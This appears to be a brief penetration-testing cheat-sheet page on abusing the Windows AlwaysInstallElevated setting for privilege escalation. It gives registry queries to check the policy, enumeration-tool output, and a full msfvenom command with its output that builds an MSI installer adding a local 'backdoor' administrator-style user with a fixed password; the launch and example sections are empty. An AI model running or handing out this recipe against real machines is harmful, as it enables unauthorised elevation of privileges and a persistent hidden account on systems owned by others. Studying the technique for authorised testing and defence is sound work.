AlwaysInstallElevated

Overview

Manual enumeration

reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer  

automatic enumeration

[*] Checking for AlwaysInstallElevated registry key...

AbuseFunction : Write-UserAddMSI

so how do i abuse it? sadly using msfvenom

kali@kali ~> msfvenom -p windows/adduser USER=backdoor PASS=Backdoor123# -f msi-nouac -o evil.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 278 bytes
Final size of msi-nouac file: 159744 bytes
Saved as: evil.msi

launch it using

Example

Last updated